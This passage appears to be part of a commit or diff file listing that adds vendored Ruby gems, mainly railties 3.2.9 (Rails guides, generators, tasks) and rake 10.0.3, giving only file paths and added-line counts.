  1553. data/vendor/bundle/gems/railties-3.2.9/guides/rails_guides.rb +50 -0
  1554. data/vendor/bundle/gems/railties-3.2.9/guides/source/2_2_release_notes.textile +422 -0
  1555. data/vendor/bundle/gems/railties-3.2.9/guides/source/2_3_release_notes.textile +610 -0
  1556. data/vendor/bundle/gems/railties-3.2.9/guides/source/3_0_release_notes.textile +595 -0
  1557. data/vendor/bundle/gems/railties-3.2.9/guides/source/3_1_release_notes.textile +553 -0
  1558. data/vendor/bundle/gems/railties-3.2.9/guides/source/3_2_release_notes.textile +540 -0
  1559. data/vendor/bundle/gems/railties-3.2.9/guides/source/_license.html.erb +2 -0
  1560. data/vendor/bundle/gems/railties-3.2.9/guides/source/_welcome.html.erb +19 -0
  1561. data/vendor/bundle/gems/railties-3.2.9/guides/source/action_controller_overview.textile +820 -0
  1562. data/vendor/bundle/gems/railties-3.2.9/guides/source/action_mailer_basics.textile +516 -0
  1563. data/vendor/bundle/gems/railties-3.2.9/guides/source/action_view_overview.textile +1497 -0
  1564. data/vendor/bundle/gems/railties-3.2.9/guides/source/active_model_basics.textile +205 -0
  1565. data/vendor/bundle/gems/railties-3.2.9/guides/source/active_record_basics.textile +218 -0
  1566. data/vendor/bundle/gems/railties-3.2.9/guides/source/active_record_querying.textile +1433 -0
  1567. data/vendor/bundle/gems/railties-3.2.9/guides/source/active_record_validations_callbacks.textile +1283 -0
  1568. data/vendor/bundle/gems/railties-3.2.9/guides/source/active_resource_basics.textile +120 -0
  1569. data/vendor/bundle/gems/railties-3.2.9/guides/source/active_support_core_extensions.textile +3713 -0
  1570. data/vendor/bundle/gems/railties-3.2.9/guides/source/ajax_on_rails.textile +267 -0
  1571. data/vendor/bundle/gems/railties-3.2.9/guides/source/api_documentation_guidelines.textile +185 -0
  1572. data/vendor/bundle/gems/railties-3.2.9/guides/source/asset_pipeline.textile +707 -0
  1573. data/vendor/bundle/gems/railties-3.2.9/guides/source/association_basics.textile +1959 -0
  1574. data/vendor/bundle/gems/railties-3.2.9/guides/source/caching_with_rails.textile +437 -0
  1575. data/vendor/bundle/gems/railties-3.2.9/guides/source/command_line.textile +574 -0
  1576. data/vendor/bundle/gems/railties-3.2.9/guides/source/configuring.textile +641 -0
  1577. data/vendor/bundle/gems/railties-3.2.9/guides/source/contributing_to_ruby_on_rails.textile +448 -0
  1578. data/vendor/bundle/gems/railties-3.2.9/guides/source/credits.html.erb +72 -0
  1579. data/vendor/bundle/gems/railties-3.2.9/guides/source/debugging_rails_applications.textile +714 -0
  1580. data/vendor/bundle/gems/railties-3.2.9/guides/source/documents.yaml +157 -0
  1581. data/vendor/bundle/gems/railties-3.2.9/guides/source/engines.textile +618 -0
  1582. data/vendor/bundle/gems/railties-3.2.9/guides/source/form_helpers.textile +798 -0
  1583. data/vendor/bundle/gems/railties-3.2.9/guides/source/generators.textile +621 -0
  1584. data/vendor/bundle/gems/railties-3.2.9/guides/source/getting_started.textile +1929 -0
  1585. data/vendor/bundle/gems/railties-3.2.9/guides/source/i18n.textile +931 -0
  1586. data/vendor/bundle/gems/railties-3.2.9/guides/source/index.html.erb +30 -0
  1587. data/vendor/bundle/gems/railties-3.2.9/guides/source/initialization.textile +1116 -0
  1588. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/KINDLE.md +26 -0
  1589. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/copyright.html.erb +1 -0
  1590. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/layout.html.erb +27 -0
  1591. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/rails_guides.opf.erb +52 -0
  1592. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/toc.html.erb +24 -0
  1593. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/toc.ncx.erb +64 -0
  1594. data/vendor/bundle/gems/railties-3.2.9/guides/source/kindle/welcome.html.erb +5 -0
  1595. data/vendor/bundle/gems/railties-3.2.9/guides/source/layout.html.erb +124 -0
  1596. data/vendor/bundle/gems/railties-3.2.9/guides/source/layouts_and_rendering.textile +1237 -0
  1597. data/vendor/bundle/gems/railties-3.2.9/guides/source/migrations.textile +900 -0
  1598. data/vendor/bundle/gems/railties-3.2.9/guides/source/nested_model_forms.textile +222 -0
  1599. data/vendor/bundle/gems/railties-3.2.9/guides/source/performance_testing.textile +597 -0
  1600. data/vendor/bundle/gems/railties-3.2.9/guides/source/plugins.textile +464 -0
  1601. data/vendor/bundle/gems/railties-3.2.9/guides/source/rails_application_templates.textile +240 -0
  1602. data/vendor/bundle/gems/railties-3.2.9/guides/source/rails_on_rack.textile +236 -0
  1603. data/vendor/bundle/gems/railties-3.2.9/guides/source/routing.textile +885 -0
  1604. data/vendor/bundle/gems/railties-3.2.9/guides/source/ruby_on_rails_guides_guidelines.textile +79 -0
  1605. data/vendor/bundle/gems/railties-3.2.9/guides/source/security.textile +1004 -0
  1606. data/vendor/bundle/gems/railties-3.2.9/guides/source/testing.textile +947 -0
  1607. data/vendor/bundle/gems/railties-3.2.9/guides/w3c_validator.rb +91 -0
  1608. data/vendor/bundle/gems/railties-3.2.9/lib/rails/all.rb +15 -0
  1609. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application/bootstrap.rb +73 -0
  1610. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application/configuration.rb +151 -0
  1611. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application/finisher.rb +98 -0
  1612. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application/railties.rb +13 -0
  1613. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application/route_inspector.rb +84 -0
  1614. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application/routes_reloader.rb +56 -0
  1615. data/vendor/bundle/gems/railties-3.2.9/lib/rails/application.rb +320 -0
  1616. data/vendor/bundle/gems/railties-3.2.9/lib/rails/backtrace_cleaner.rb +42 -0
  1617. data/vendor/bundle/gems/railties-3.2.9/lib/rails/cli.rb +16 -0
  1618. data/vendor/bundle/gems/railties-3.2.9/lib/rails/code_statistics.rb +118 -0
  1619. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/application.rb +38 -0
  1620. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/benchmarker.rb +34 -0
  1621. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/console.rb +55 -0
  1622. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/dbconsole.rb +123 -0
  1623. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/destroy.rb +10 -0
  1624. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/generate.rb +12 -0
  1625. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/plugin.rb +544 -0
  1626. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/plugin_new.rb +11 -0
  1627. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/profiler.rb +32 -0
  1628. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/runner.rb +54 -0
  1629. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/server.rb +100 -0
  1630. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands/update.rb +9 -0
  1631. data/vendor/bundle/gems/railties-3.2.9/lib/rails/commands.rb +104 -0
  1632. data/vendor/bundle/gems/railties-3.2.9/lib/rails/configuration.rb +89 -0
  1633. data/vendor/bundle/gems/railties-3.2.9/lib/rails/console/app.rb +36 -0
  1634. data/vendor/bundle/gems/railties-3.2.9/lib/rails/console/helpers.rb +11 -0
  1635. data/vendor/bundle/gems/railties-3.2.9/lib/rails/engine/commands.rb +43 -0
  1636. data/vendor/bundle/gems/railties-3.2.9/lib/rails/engine/configuration.rb +84 -0
  1637. data/vendor/bundle/gems/railties-3.2.9/lib/rails/engine/railties.rb +33 -0
  1638. data/vendor/bundle/gems/railties-3.2.9/lib/rails/engine.rb +657 -0
  1639. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/actions.rb +325 -0
  1640. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/active_model.rb +78 -0
  1641. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/app_base.rb +281 -0
  1642. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/base.rb +390 -0
  1643. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/css/assets/assets_generator.rb +13 -0
  1644. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/css/assets/templates/stylesheet.css +4 -0
  1645. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/css/scaffold/scaffold_generator.rb +16 -0
  1646. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/controller/controller_generator.rb +20 -0
  1647. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/controller/templates/view.html.erb +2 -0
  1648. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/mailer/mailer_generator.rb +13 -0
  1649. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/mailer/templates/view.text.erb +3 -0
  1650. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/scaffold/scaffold_generator.rb +29 -0
  1651. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/scaffold/templates/_form.html.erb +23 -0
  1652. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/scaffold/templates/edit.html.erb +6 -0
  1653. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/scaffold/templates/index.html.erb +27 -0
  1654. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/scaffold/templates/new.html.erb +5 -0
  1655. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb/scaffold/templates/show.html.erb +12 -0
  1656. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/erb.rb +21 -0
  1657. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/generated_attribute.rb +107 -0
  1658. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/js/assets/assets_generator.rb +13 -0
  1659. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/js/assets/templates/javascript.js +2 -0
  1660. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/migration.rb +68 -0
  1661. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/named_base.rb +202 -0
  1662. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/USAGE +15 -0
  1663. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/app_generator.rb +303 -0
  1664. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/Gemfile +26 -0
  1665. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/README +261 -0
  1666. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/Rakefile +7 -0
  1667. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/app/assets/images/rails.png +0 -0
  1668. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt +17 -0
  1669. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css +13 -0
  1670. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb +3 -0
  1671. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/app/helpers/application_helper.rb +2 -0
  1672. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt +14 -0
  1673. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/application.rb +74 -0
  1674. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/boot.rb +6 -0
  1675. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml +31 -0
  1676. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml +86 -0
  1677. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml +62 -0
  1678. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml +33 -0
  1679. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml +43 -0
  1680. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml +20 -0
  1681. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/mysql.yml +54 -0
  1682. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/oracle.yml +39 -0
  1683. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml +55 -0
  1684. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml +25 -0
  1685. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/environment.rb +5 -0
  1686. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt +41 -0
  1687. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt +73 -0
  1688. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt +39 -0
  1689. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/initializers/backtrace_silencers.rb +7 -0
  1690. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb +15 -0
  1691. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb +5 -0
  1692. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt +7 -0
  1693. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt +8 -0
  1694. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt +16 -0
  1695. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/locales/en.yml +5 -0
  1696. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config/routes.rb +58 -0
  1697. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/config.ru +4 -0
  1698. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/db/seeds.rb.tt +7 -0
  1699. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/doc/README_FOR_APP +2 -0
  1700. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/gitignore +15 -0
  1701. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/public/404.html +26 -0
  1702. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/public/422.html +26 -0
  1703. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/public/500.html +25 -0
  1704. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/public/favicon.ico +0 -0
  1705. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/public/index.html +241 -0
  1706. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/public/robots.txt +5 -0
  1707. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/script/rails +5 -0
  1708. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb +12 -0
  1709. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/app/templates/test/test_helper.rb +15 -0
  1710. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/assets/USAGE +20 -0
  1711. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/assets/assets_generator.rb +25 -0
  1712. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/assets/templates/javascript.js +2 -0
  1713. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/assets/templates/stylesheet.css +4 -0
  1714. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/controller/USAGE +18 -0
  1715. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/controller/controller_generator.rb +20 -0
  1716. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/controller/templates/controller.rb +13 -0
  1717. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/generator/USAGE +12 -0
  1718. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/generator/generator_generator.rb +25 -0
  1719. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt +3 -0
  1720. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/generator/templates/USAGE.tt +8 -0
  1721. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/helper/USAGE +17 -0
  1722. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/helper/helper_generator.rb +13 -0
  1723. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/helper/templates/helper.rb +4 -0
  1724. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/integration_test/USAGE +10 -0
  1725. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/integration_test/integration_test_generator.rb +7 -0
  1726. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/migration/USAGE +29 -0
  1727. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/migration/migration_generator.rb +8 -0
  1728. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/model/USAGE +45 -0
  1729. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/model/model_generator.rb +8 -0
  1730. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/observer/USAGE +12 -0
  1731. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/observer/observer_generator.rb +7 -0
  1732. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/performance_test/USAGE +10 -0
  1733. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/performance_test/performance_test_generator.rb +7 -0
  1734. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/USAGE +10 -0
  1735. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb +318 -0
  1736. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec +29 -0
  1737. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/Gemfile +23 -0
  1738. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE +20 -0
  1739. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/README.rdoc +3 -0
  1740. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/Rakefile +31 -0
  1741. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt +4 -0
  1742. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt +4 -0
  1743. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt +14 -0
  1744. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/config/routes.rb +6 -0
  1745. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/gitignore +7 -0
  1746. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb +7 -0
  1747. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb +3 -0
  1748. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb +6 -0
  1749. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake +4 -0
  1750. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/rails/application.rb +18 -0
  1751. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb +10 -0
  1752. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb +4 -0
  1753. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/script/rails.tt +7 -0
  1754. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb +7 -0
  1755. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb +12 -0
  1756. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb +15 -0
  1757. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/resource/USAGE +23 -0
  1758. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/resource/resource_generator.rb +20 -0
  1759. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/resource_route/resource_route_generator.rb +50 -0
  1760. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/scaffold/USAGE +35 -0
  1761. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/scaffold/scaffold_generator.rb +23 -0
  1762. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/scaffold/templates/scaffold.css +56 -0
  1763. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/scaffold_controller/USAGE +19 -0
  1764. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb +25 -0
  1765. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/scaffold_controller/templates/controller.rb +89 -0
  1766. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/session_migration/USAGE +8 -0
  1767. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/session_migration/session_migration_generator.rb +8 -0
  1768. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/task/USAGE +9 -0
  1769. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/task/task_generator.rb +12 -0
  1770. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/rails/task/templates/task.rb +8 -0
  1771. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/resource_helpers.rb +80 -0
  1772. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_case.rb +247 -0
  1773. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/controller/controller_generator.rb +15 -0
  1774. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/controller/templates/functional_test.rb +19 -0
  1775. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/helper/helper_generator.rb +13 -0
  1776. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/helper/templates/helper_test.rb +6 -0
  1777. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/integration/integration_generator.rb +13 -0
  1778. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/integration/templates/integration_test.rb +7 -0
  1779. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/mailer/mailer_generator.rb +14 -0
  1780. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/mailer/templates/functional_test.rb +21 -0
  1781. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/model/model_generator.rb +24 -0
  1782. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/model/templates/fixtures.yml +23 -0
  1783. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/model/templates/unit_test.rb +9 -0
  1784. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/observer/observer_generator.rb +13 -0
  1785. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/observer/templates/unit_test.rb +9 -0
  1786. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/performance/performance_generator.rb +13 -0
  1787. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/performance/templates/performance_test.rb +12 -0
  1788. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/plugin/plugin_generator.rb +13 -0
  1789. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/plugin/templates/%file_name%_test.rb.tt +7 -0
  1790. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/plugin/templates/test_helper.rb +3 -0
  1791. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb +38 -0
  1792. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb +51 -0
  1793. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators/test_unit.rb +8 -0
  1794. data/vendor/bundle/gems/railties-3.2.9/lib/rails/generators.rb +339 -0
  1795. data/vendor/bundle/gems/railties-3.2.9/lib/rails/info.rb +116 -0
  1796. data/vendor/bundle/gems/railties-3.2.9/lib/rails/info_controller.rb +15 -0
  1797. data/vendor/bundle/gems/railties-3.2.9/lib/rails/initializable.rb +89 -0
  1798. data/vendor/bundle/gems/railties-3.2.9/lib/rails/paths.rb +211 -0
  1799. data/vendor/bundle/gems/railties-3.2.9/lib/rails/performance_test_help.rb +3 -0
  1800. data/vendor/bundle/gems/railties-3.2.9/lib/rails/plugin.rb +92 -0
  1801. data/vendor/bundle/gems/railties-3.2.9/lib/rails/rack/debugger.rb +24 -0
  1802. data/vendor/bundle/gems/railties-3.2.9/lib/rails/rack/log_tailer.rb +34 -0
  1803. data/vendor/bundle/gems/railties-3.2.9/lib/rails/rack/logger.rb +60 -0
  1804. data/vendor/bundle/gems/railties-3.2.9/lib/rails/rack.rb +7 -0
  1805. data/vendor/bundle/gems/railties-3.2.9/lib/rails/railtie/configurable.rb +35 -0
  1806. data/vendor/bundle/gems/railties-3.2.9/lib/rails/railtie/configuration.rb +90 -0
  1807. data/vendor/bundle/gems/railties-3.2.9/lib/rails/railtie.rb +202 -0
  1808. data/vendor/bundle/gems/railties-3.2.9/lib/rails/ruby_version_check.rb +23 -0
  1809. data/vendor/bundle/gems/railties-3.2.9/lib/rails/rubyprof_ext.rb +35 -0
  1810. data/vendor/bundle/gems/railties-3.2.9/lib/rails/script_rails_loader.rb +29 -0
  1811. data/vendor/bundle/gems/railties-3.2.9/lib/rails/source_annotation_extractor.rb +104 -0
  1812. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/annotations.rake +20 -0
  1813. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/documentation.rake +155 -0
  1814. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/engine.rake +72 -0
  1815. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/framework.rake +76 -0
  1816. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/log.rake +9 -0
  1817. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/middleware.rake +7 -0
  1818. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/misc.rake +67 -0
  1819. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/routes.rake +9 -0
  1820. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/statistics.rake +16 -0
  1821. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks/tmp.rake +37 -0
  1822. data/vendor/bundle/gems/railties-3.2.9/lib/rails/tasks.rb +16 -0
  1823. data/vendor/bundle/gems/railties-3.2.9/lib/rails/test_help.rb +56 -0
  1824. data/vendor/bundle/gems/railties-3.2.9/lib/rails/test_unit/railtie.rb +15 -0
  1825. data/vendor/bundle/gems/railties-3.2.9/lib/rails/test_unit/sub_test_task.rb +8 -0
  1826. data/vendor/bundle/gems/railties-3.2.9/lib/rails/test_unit/testing.rake +146 -0
  1827. data/vendor/bundle/gems/railties-3.2.9/lib/rails/version.rb +10 -0
  1828. data/vendor/bundle/gems/railties-3.2.9/lib/rails.rb +126 -0
  1829. data/vendor/bundle/gems/rake-10.0.3/CHANGES +526 -0
  1830. data/vendor/bundle/gems/rake-10.0.3/MIT-LICENSE +21 -0
  1831. data/vendor/bundle/gems/rake-10.0.3/README.rdoc +187 -0
  1832. data/vendor/bundle/gems/rake-10.0.3/Rakefile +374 -0
  1833. data/vendor/bundle/gems/rake-10.0.3/TODO +21 -0
  1834. data/vendor/bundle/gems/rake-10.0.3/bin/rake +33 -0
  1835. data/vendor/bundle/gems/rake-10.0.3/doc/command_line_usage.rdoc +152 -0
  1836. data/vendor/bundle/gems/rake-10.0.3/doc/example/Rakefile1 +38 -0
  1837. data/vendor/bundle/gems/rake-10.0.3/doc/example/Rakefile2 +35 -0
  1838. data/vendor/bundle/gems/rake-10.0.3/doc/example/a.c +6 -0
  1839. data/vendor/bundle/gems/rake-10.0.3/doc/example/b.c +6 -0
